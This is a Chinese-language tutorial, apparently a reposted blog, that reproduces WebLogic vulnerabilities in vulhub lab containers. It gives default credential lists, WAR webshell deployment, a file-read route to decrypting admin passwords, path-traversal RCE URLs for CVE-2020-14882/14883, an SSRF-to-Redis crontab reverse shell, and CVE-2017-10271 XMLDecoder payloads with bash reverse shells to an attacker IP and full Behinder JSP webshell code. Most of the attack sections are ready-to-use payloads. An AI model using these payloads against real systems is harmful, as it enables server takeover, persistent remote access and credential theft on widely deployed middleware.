0x00 前言
一直沒有系統(tǒng)的總結(jié)過 weblogic 的漏洞,今天通過 vulhub 靶場(chǎng)來復(fù)現(xiàn)幾個(gè)經(jīng)典的案例。
0x01 基礎(chǔ)知識(shí)
weblogic簡介:
WebLogic 是美國 Oracle 公司出品的一個(gè)基于 JAVAEE 架構(gòu)的中間件,是用于開發(fā)、集成、部署和管理大型分布式 Web 應(yīng)用、網(wǎng)絡(luò)應(yīng)用和數(shù)據(jù)庫應(yīng)用的Java應(yīng)用服務(wù)器。WebLogic 由純 Java 開發(fā),長期以來一直被認(rèn)為是市場(chǎng)上最好的J2EE工具之一,被廣泛應(yīng)用于開發(fā)、部署和運(yùn)行 Java 應(yīng)用等適用于本地環(huán)境和云環(huán)境的企業(yè)應(yīng)用。
0x02 漏洞復(fù)現(xiàn)
1、Weblogic 弱口令/文件讀取漏洞
此測(cè)試環(huán)境存在兩個(gè)漏洞,后臺(tái)存在弱口令,前臺(tái)存在任意文件讀取漏洞。本次測(cè)試分別通過這兩種漏洞對(duì)本靶場(chǎng)進(jìn)行滲透,最終獲取 weblogic 的服務(wù)器權(quán)限。
漏洞原理:
在搭建好 weblogic 服務(wù)后沒有修改后臺(tái)的默認(rèn)密碼或密碼設(shè)置太簡單,導(dǎo)致可以弱口令登錄,最終獲得服務(wù)器權(quán)限。
環(huán)境搭建:
進(jìn)入對(duì)應(yīng)目錄:
vulhub/weblogic/weak_password
啟動(dòng)本環(huán)境:
docker-compose up -d
文件比較大,第一次下載可能時(shí)間會(huì)比較長。
-
Weblogic版本:10.3.6
-
Java版本:1.6
復(fù)現(xiàn)過程:
啟動(dòng)環(huán)境后直接訪問7001端口會(huì)出現(xiàn)404頁面,這里要訪問
http://ip:7001/console
打開 weblogic 后臺(tái)頁面
本環(huán)境存在弱口令:weblogic/Oracle@123
使用口令登錄后臺(tái)(注意此環(huán)境存在登錄限制,錯(cuò)誤密碼5次之后就會(huì)自動(dòng)鎖定)。
weblogic 常用弱口令:
用戶名:weblogic、system、admin、WebLogic
密碼:weblogic、weblogic123、password、security、system、admin、WebLogic
選擇左側(cè)的部署,然后點(diǎn)擊安裝
然后就可以看到有個(gè)上傳文件的選項(xiàng),這里可以上傳一個(gè) jsp類型的小馬的 war包來拿到shell。
首先將我們的 冰蝎馬 shell.jsp 打包成 test.war 。
步驟:新建一個(gè)文件夾,里面只有 shell.jsp 文件,輸入命令:
jar -cvf test.war .
test.war 就是打包后生成的文件名稱。
后面的.
是把當(dāng)前目錄下所有文件打包。
上傳我們制作的 war 包,一直點(diǎn)擊下一步
直到出現(xiàn)完成按鈕就部署結(jié)束了
點(diǎn)擊保存,提示更改成功,接下來就可以連接我們的上馬了。
連接成功,這里 test 是我們的 war 包名,shell.jsp是里面的小馬。
??,借著這個(gè)靶場(chǎng)再來說說另一種情況:假如沒有弱口令,而是前臺(tái)存在一個(gè)任意文件下載漏洞又該怎么利用呢?
本靶場(chǎng)前端存在任意文件讀取漏洞,訪問如下 url 可以讀取任意文件
http://ip:7001/hello/file.jsp?path= #接文件路徑
我們可以通過這個(gè)漏洞讀取 weblogic 后臺(tái)的用戶密文和密鑰文件,密文使用AES加密,AES是對(duì)稱加密可解密從而獲得后臺(tái)密碼。
Weblogic 后臺(tái)的密文與密鑰這兩個(gè)文件分別為 config.xml 和 SerializedSystemIni.dat ,在本環(huán)境中路徑分別為./config/config.xml
和 ./security/SerializedSystemIni.dat
當(dāng)前目錄是:/root/Oracle/Middleware/user_projects/domains/base_domain
注:這里我看別的師傅說:因?yàn)?SerializedSystemIni.dat 是一個(gè)二進(jìn)制文件,直接用瀏覽器下載可能引入一些干擾字符。這里需要使用 burpsuite 來讀取,然后選中讀取到的那一串編碼,右鍵 copy to file 保存為 dat 文件。
但是我自己嘗試后發(fā)現(xiàn),通過上面方法保存的文件無法解密,burp版本嘗試更換了也不行,反而直接讀取到的文件更改后綴為 dat 后成功解密了(注意需要?jiǎng)h掉前面的空行)。就很玄學(xué)。。
接著讀取 config.xml,找到<node-manager-password-encrypted>
這項(xiàng),其值就是加密后的后臺(tái)密碼。
然后使用工具解密: 工具下載鏈接
成功獲得后臺(tái)密碼,假設(shè)這里知道用戶名,就可以登錄然后重復(fù)上述步驟getshell了。
2、Weblogic 未授權(quán)遠(yuǎn)程命令執(zhí)行漏洞(CVE-2020-14882,CVE-2020-14883)
2020年 Oracle 官方發(fā)布了數(shù)百個(gè)組件的高危漏洞公告。其中組合利用 CVE-2020-14882/CVE-2020-14883 可使攻擊者繞過 WebLogic 后臺(tái)登錄限制,遠(yuǎn)程執(zhí)行代碼獲取 WebLogic 服務(wù)器權(quán)限,利用難度極低,風(fēng)險(xiǎn)極大。
漏洞原理:
CVE-2020-14882:允許未授權(quán)的用戶繞過管理控制臺(tái)的權(quán)限驗(yàn)證訪問后臺(tái)。
CVE-2020-14883:允許后臺(tái)任意用戶通過HTTP協(xié)議執(zhí)行任意命令。
這兩個(gè)漏洞的組合利用,可以讓攻擊者以未授權(quán)的身份登錄后臺(tái),然后通過一個(gè)GET請(qǐng)求在 Weblogic 服務(wù)器上遠(yuǎn)程執(zhí)行命令。
影響版本:
10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0
環(huán)境搭建:
進(jìn)入對(duì)應(yīng)目錄:
vulhub/weblogic/CVE-2020-14882
啟動(dòng)環(huán)境:
docker-compose up -d
復(fù)現(xiàn)過程:
訪問 http://ip:7001/console 來到登陸頁面
正??隙ㄊ且~號(hào)口令的,這里利用 CVE-2020-14882 漏洞,訪問以下URL,即可未授權(quán)訪問到管理后臺(tái)頁面:
http://ip:7001/console/css/%252e%252e%252fconsole.portal
或
http://ip:7001/console/images/%252e%252e%252fconsole.portal
注:
%252e%252e%252f
是經(jīng)過兩次url編碼后的../
,通過這個(gè)就可以實(shí)現(xiàn)穿越路徑未授權(quán)訪問后臺(tái)頁面。
點(diǎn)擊部署,發(fā)現(xiàn)并沒有安裝按鈕,這是因?yàn)橥ㄟ^未授權(quán)訪問的后臺(tái)權(quán)限不足,并沒有部署功能,所以也就無法通過上面那種上傳war包的方式getshell。
想要實(shí)現(xiàn)服務(wù)器RCE 這里要借助第二個(gè)漏洞 CVE-2020-14883 ,這個(gè)漏洞的利用方式有兩種,分別通過兩個(gè)特殊的類來實(shí)現(xiàn)。
方式一:
通過 com.tangosol.coherence.mvel2.sh.ShellSession 類實(shí)現(xiàn),這個(gè)利用方法只能在 Weblogic 12.2.1 以上版本利用,因?yàn)?10.3.6(上面四個(gè)受影響版本中只有這一個(gè)低于12.2.1)版本沒有這個(gè)類。
直接訪問如下URL,即可執(zhí)行命令:
http://ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch /tmp/test');")
訪問后出現(xiàn)404頁面,進(jìn)入docker看一下,發(fā)現(xiàn)成功執(zhí)行了!
方式二:
通過 com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext 類實(shí)現(xiàn),這是一個(gè)通殺的方法,對(duì) Weblogic 的所有版本均有效。此方法需要借助 XML 文件,通過訪問這個(gè)文件來執(zhí)行命令。
構(gòu)造一個(gè)反彈shell XML 文件,shell.xml:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/ip/2333 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
Bash反彈一句話拆分說明:
命令 | 命令詳解 |
---|---|
bash -i | 產(chǎn)生一個(gè)bash交互環(huán)境 |
>& | 將聯(lián)合符號(hào)前面的內(nèi)容與后面相結(jié)合,然后一起重定向給后者。 |
/dev/tcp/ip/2333 | 讓目標(biāo)主機(jī)與攻擊機(jī)的2333端口建立一個(gè)tcp連接。 |
0>&1 | 將標(biāo)準(zhǔn)輸入與標(biāo)準(zhǔn)輸出的內(nèi)容相結(jié)合,然后重定向給前面標(biāo)準(zhǔn)輸出的內(nèi)容。 |
完整的解讀:Bash產(chǎn)生了一個(gè)交互環(huán)境和本地主機(jī)主動(dòng)發(fā)起與攻擊機(jī)2333端口建立的連接(即TCP 2333會(huì)話連接)相結(jié)合,然后在重定向個(gè)TCP 2333會(huì)話連接,最后將用戶鍵盤輸入與用戶標(biāo)準(zhǔn)輸出相結(jié)合再次重定向給一個(gè)標(biāo)準(zhǔn)的輸出,即得到一個(gè)Bash反彈環(huán)境。
然后將其保存在 Weblogic 服務(wù)器可以訪問到的服務(wù)器上(重點(diǎn)?。?,這里我放在 docker 的宿主機(jī)上了,然后開啟 web 服務(wù)。
訪問鏈接為:
http://192.168.50.131:80/shell.xm
開啟 nc 監(jiān)聽,然后瀏覽器訪問下面鏈接:
http://ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.50.131:80/shell.xml")
注:鏈接里的
http://
必不可少。
即可得到反彈shell
3、Weblogic SSRF漏洞(CVE-2014-4210)
SSRF全稱:Server-Side Request Forgery,即 服務(wù)器端請(qǐng)求偽造。是一個(gè)由攻擊者構(gòu)造請(qǐng)求,在目標(biāo)服務(wù)端執(zhí)行的一個(gè)安全漏洞。目標(biāo)通常是從外網(wǎng)無法訪問的內(nèi)部系統(tǒng)。簡單來說就是攻擊者利用服務(wù)器漏洞以服務(wù)器的身份發(fā)送一條構(gòu)造好的請(qǐng)求給其所在內(nèi)網(wǎng)進(jìn)行攻擊。
漏洞原理:
Weblogic 的 uddi 組件實(shí)現(xiàn)包中有個(gè) ddiexplorer.war文件,其下里 SearchPublicReqistries.jsp 接口存在 SSRF 漏洞,可以利用該漏洞可以發(fā)送任意 HTTP 請(qǐng)求,實(shí)現(xiàn)攻擊內(nèi)網(wǎng)中 Redis 等脆弱組件。
影響版本:
10.0.2、10.3.6
環(huán)境搭建:
進(jìn)入對(duì)應(yīng)目錄:
vulhub/weblogic/ssrf
啟動(dòng)環(huán)境:
docker-compose up -d
可以看到同時(shí)也啟動(dòng)了一個(gè) Redis 服務(wù)。
復(fù)現(xiàn)過程:
訪問漏洞存在地址:
http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp
這里f12查看頁面,可以看到引用了外部鏈接,那么就有可能存在ssrf漏洞。
點(diǎn)擊 search 然后抓包發(fā)送到 Repeater 模塊
修改 operator 參數(shù)用來探測(cè)開放IP或端口,這里來測(cè)試一下宿主機(jī)的7001端口
1、主機(jī)存活且端口開放,會(huì)返回狀態(tài)碼。
2、如果訪問的是非 HTTP 協(xié)議則會(huì)返回 did not have a valid SOAP content-type: text/html,其主機(jī)端口也是開放的。
3、當(dāng)訪問一個(gè)不存在的主機(jī)或端口時(shí),會(huì)返回 could not connect over HTTP to server。
我們可以通過響應(yīng)結(jié)果,實(shí)現(xiàn)探測(cè)內(nèi)網(wǎng)狀態(tài)的功能。下面我們就來嘗試?yán)?redis 實(shí)現(xiàn)反彈shell。
利用 Redis 反彈 shell:
這里因?yàn)槲覀兪菧y(cè)試環(huán)境,已知內(nèi)網(wǎng)存在 redis 服務(wù)且存在未授權(quán)漏洞。如果在真實(shí)滲透中可以通過對(duì)內(nèi)網(wǎng)的爆破獲取到有關(guān)信息。
先看一下 docker 容器里的 redis 的 IP 地址,執(zhí)行如下命令:
docker inspect 容器ID
在一大串信息的最下面找到了其IP。
接著使用 SSRF 漏洞對(duì) 172.31.0.2:6739 探測(cè)一下
可以看到 redis 服務(wù)是存活著的。
下面通過 SSRF 漏洞向 Redis 寫入三條命令(Redis 需要以 root 權(quán)限執(zhí)行才能寫入),將我們反彈 shell 的腳本寫入/etc/crontab
文件。crontab是一個(gè)可以自動(dòng)執(zhí)行定時(shí)命令的配置文件,通過它來執(zhí)行我們反彈 shell 的命令。(詳細(xì)解釋可以看這篇文章:linux下cron命令用法)
set s "\n* * * * * root bash -i >& /dev/tcp/192.168.50.131/2333 0>&1\n"
config set dir /etc/
config set dbfilename crontab
save
上述命令解析:
命令 | 解釋 |
---|---|
set s … | 設(shè)置一個(gè)變量值 “s” 為key, 執(zhí)行一個(gè)反彈 shell 命令為其 value 值 |
* * * * * | 即每分鐘執(zhí)行一次命令(上面鏈接有詳細(xì)解釋) |
config set dir /etc/ | 指定工作目錄為 /etc/ |
config set dbfilename crontab | 指定 RDB 備份文件為 crontab;即所有的 RDB 文件都會(huì)儲(chǔ)存在 /etc/crontab 下 |
還是有不懂的地方可以看看這幾篇文章:
利用redis寫webshell
Redis未授權(quán)訪問反彈shell
淺析Linux下Redis的攻擊面(一)
將上面的命令整理成一行,然后進(jìn)行URL編碼:
set%20s%20%22%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.50.131%2F2333%200%3E%261%5Cn%22config%20set%20dir%20%2Fetc%2Fconfig%20set%20dbfilename%20crontabsave
然后需要用換行符即: \r\n
將其按上面的原始命令行格式分隔開。換行符也需要進(jìn)行url編碼即:%0D%0A
set%20s%20%22%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.50.131%2F2333%200%3E%261%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
再著還需在首末兩個(gè)地方加上換行符號(hào)(原因見下面,不加是執(zhí)行不了的?。?,再開頭和結(jié)尾填充上 aaa ,最終就得到了這個(gè):
aaa%0D%0A%0D%0Aset%20s%20%22%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.50.131%2F2333%200%3E%261%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
訪問上述命令:
我們?cè)陂_頭和結(jié)尾加換行符的原因如下圖所示:
nc 監(jiān)聽 2333 端口,反彈 shell 成功!
4、Weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271)
WebLogic XMLDecoder反序列化漏洞利用Java的反序列化機(jī)制,攻擊者可以發(fā)送惡意的序列化數(shù)據(jù),使WebLogic Server反序列化執(zhí)行惡意代碼。
漏洞原理:
WLS-WSAT 是 WebLogic Server 事務(wù)管理(WebLogic Server Transaction)的一個(gè)組件,它使用Java的反序列化機(jī)制來處理數(shù)據(jù),調(diào)用 XMLDecoder類 將用戶傳入的XML數(shù)據(jù)轉(zhuǎn)換為Java對(duì)象。
在某些情況下攻擊者可以構(gòu)造惡意的序列化數(shù)據(jù)作為HTTP POST請(qǐng)求的一部分發(fā)送到WebLogic Server的T3協(xié)議端口(默認(rèn)為7001),并且在請(qǐng)求頭中設(shè)置一個(gè)特殊的“Content-Type”值來觸發(fā)漏洞。當(dāng)WebLogic Server處理該請(qǐng)求時(shí),XMLDecoder將惡意的序列化數(shù)據(jù)反序列化為Java對(duì)象,并執(zhí)行其中包含的惡意代碼。
影響版本:
10.3.6.0.0、12.1.3.0.0、12.2.1.1.0、12.2.1.2.0
環(huán)境搭建:
進(jìn)入對(duì)應(yīng)目錄:
vulhub/weblogic/CVE-2017-10271
啟動(dòng)環(huán)境:
docker-compose up -d
復(fù)現(xiàn)過程:
訪問 /wls-wsat/CoordinatorPortType
目錄,如果出現(xiàn)如下頁面,就有可能存在漏洞。
對(duì)該頁面進(jìn)行抓包,修改請(qǐng)求方式為POST
,添加請(qǐng)求字段 Content-Type:text/xml
,然后后添加如下poc
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.50.131/2333 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
其中反彈命令
bash -i >& /dev/tcp/192.168.50.131/2333 0>&1
是經(jīng)過 html 實(shí)體編碼的,不然解析XML的時(shí)候?qū)⒊霈F(xiàn)格式錯(cuò)誤。
成功獲取到 shell
還可以上傳個(gè)webshell,這里使用的冰蝎的一句話,poc如下:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp</string>
<void method="println"><string>
<![CDATA[
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*該密鑰為連接密碼32位md5值的前16位,默認(rèn)連接密碼rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
訪問鏈接為:http:/192.168.50.131:7001/bea_wls_internal/shell.jsp
成功連接!
??,本次的 Weblogic 漏洞暫時(shí)就復(fù)現(xiàn)這幾個(gè),下面推薦幾個(gè)好用的漏洞檢測(cè)和利用工具。
0x03 工具利用
WebLogic-Scan:是一款用于掃描和檢測(cè) WebLogic 漏洞的開源工具。該工具可以掃描 WebLogic 服務(wù)器上的常見漏洞,發(fā)現(xiàn)漏洞后攻擊者需要使用其他工具或手動(dòng)方法來利用漏洞,執(zhí)行攻擊。下載鏈接
有兩種使用方式:
- 指定IP地址和端口
python WeblogicScan.py -u 192.168.50.131 -p 7001
圖中的 +
代表存在漏洞,-
表示沒有。
- 批量讀取 txt 文件進(jìn)行掃描:
python WeblogicScan.py -f target.txt
當(dāng)不指定ip時(shí)會(huì)默認(rèn)掃描 7001 端口。
檢測(cè)出漏洞后,可以配合下面這個(gè)工具進(jìn)行進(jìn)一步的利用。工具下載
一鍵上傳小馬文章來源:http://www.zghlxwxcb.cn/news/detail-473616.html
成功連接文章來源地址http://www.zghlxwxcb.cn/news/detail-473616.html
到了這里,關(guān)于Weblogic 常見漏洞分析與利用的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!